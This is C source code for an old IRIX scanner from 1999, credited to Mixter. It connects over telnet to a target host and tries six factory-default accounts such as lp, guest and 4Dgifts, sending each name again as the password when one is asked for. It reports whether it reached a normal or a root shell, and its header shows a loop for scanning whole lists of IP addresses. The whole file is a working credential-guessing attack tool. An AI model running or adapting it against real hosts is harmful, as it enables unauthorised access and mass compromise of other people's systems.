/* IRIX Scanner - based on remotecmd.c by ADMcrew
   irixlp.c is (c) 1999 by Mixter - http://mixter.org
   This will scan a IRIX box for default passwordless logins.
   Usage: ./irixlp <ip> [delay in microseconds]
   To scan from a list: cat IPLIST | while read x ; do ./irixlp $x ; done
   -- Mixter */

#define ACC1 "lp\n"
#define ACC2 "demos\n"
#define ACC3 "guest\n"
#define ACC4 "EZsetup\n"
#define ACC5 "4Dgifts\n"
#define ACC6 "OutOfBox\n"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <netdb.h>
#include <netinet/in.h>

void *memset (void *s, int c, size_t n);
void irixlp (int);
void usage (char *);
char *strcpy (char *dest, const char *src);
int ADMtelnet (u_long);
u_long host2ip (char *);

u_long TIMEMETHAT = 500000;

void
main (int argc, char **argv)
{
  /* bla */
  if (argc < 2)
    usage (argv[0]);
  if (argc > 2)
    TIMEMETHAT = atoi (argv[2]);
  printf ("%s: ", argv[1]);
  fflush (stdout);
  ADMtelnet (host2ip (argv[1]));
}

void
usage (char *c)
{
  fprintf (stderr, "usage: %s <ip> [delay]\n", c);
  exit (-1);
}

unsigned long
host2ip (char *serv)
{
  struct sockaddr_in sinn;
  struct hostent *hent;

  hent = gethostbyname (serv);
  if (hent == NULL)
    return 0;
  bzero ((char *) &sinn, sizeof (sinn));
  memcpy ((char *) &sinn.sin_addr, hent->h_addr, hent->h_length);
  return sinn.sin_addr.s_addr;
}

void
irixlp (int s)
{
  char input[4096];
  char ca[50];
  int accno = 1;
  bzero (input, sizeof (input));
  while (read (s, input, 4000) > 0)
    {

      if (strstr (input, "ogin"))
	{
	  switch (accno)
	    {
	    case 1:
	      write (s, ACC1, strlen (ACC1));
	      strcpy (ca, ACC1);
	      break;
	    case 2:
	      write (s, ACC2, strlen (ACC2));
	      strcpy (ca, ACC2);
	      break;
	    case 3:
	      write (s, ACC3, strlen (ACC3));
	      strcpy (ca, ACC3);
	      break;
	    case 4:
	      write (s, ACC4, strlen (ACC4));
	      strcpy (ca, ACC4);
	      break;
	    case 5:
	      write (s, ACC5, strlen (ACC5));
	      strcpy (ca, ACC5);
	      break;
	    case 6:
	      write (s, ACC6, strlen (ACC6));
	      strcpy (ca, ACC6);
	      break;
	    default:
	      close (s);
	      printf ("nope\n");
	      fflush (stdout);
	      exit (1);
	      break;
	    }
	  accno++;
	  usleep (TIMEMETHAT);
	meextawr:
	  bzero (input, sizeof (input));
	  if (read (s, input, 4000) < 0)
	    {
	      printf ("connection reset\n");
	      fflush (stdout);
	      exit (1);
	    }
	  if (strlen (input) < 1)
	    {
	      printf ("connection reset\n");
	      fflush (stdout);
	      exit (1);
	    }
	  if (strstr (input, "$"))
	    {
	      printf ("%s (normal)\n", ca);
	      fflush (stdout);
	      exit (1);
	    }
	  if (strstr (input, "#"))
	    {
	      printf ("%s (ROOT)\n", ca);
	      fflush (stdout);
	      exit (1);
	    }
	  if (strstr (input, "assword"))
	    {
	      write (s, ca, strlen (ca));
	      write (s, "\n", strlen ("\n"));
	      goto meextawr;
	    }
	  if (strstr (input, "UX:"))
	    continue;
	  if (strstr (input, "error"))
	    continue;
	  if (strstr (input, "incorrect"))
	    continue;
	  if (strstr (input, "error"))
	    continue;
	  goto meextawr;
	}
      continue;
    }
  close (s);
}

int 
ADMtelnet (u_long ip)
{
  struct sockaddr_in sin;
  u_char buf[4000];
  int dasock, len;
  int longueur = sizeof (struct sockaddr_in);

  dasock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);	/* gimme a socket */

  sin.sin_family = AF_INET;
  sin.sin_port = htons (23);
  sin.sin_addr.s_addr = ip;

  if (connect (dasock, (struct sockaddr *) &sin, longueur) == -1)
    {
      printf ("connection refused\n");
      fflush (stdout);
      return (-1);
    }

  while (1)
    {
      memset (buf, 0, sizeof (buf));

      if ((len = read (dasock, buf, 1)) <= 0)
	break;

      if (*buf == (unsigned int) 255)
	{
	  read (dasock, (buf + 1), 2);
	  if (*(buf + 1) == (unsigned int) 253 && !(u_char) * (buf + 2));
	  else if ((u_char) * (buf + 1) == (unsigned int) 253)
	    {
	      *(buf + 1) = 252;
	      write (dasock, buf, 3);
	    }
	}
      else
	{
	  if (*buf != 0)
	    {
	      bzero (buf, sizeof (buf));
	      read (dasock, buf, sizeof (buf));
	      irixlp (dasock);
	      sleep (1);
	      return 0;
	    }

	}
    }
  return 0;
}
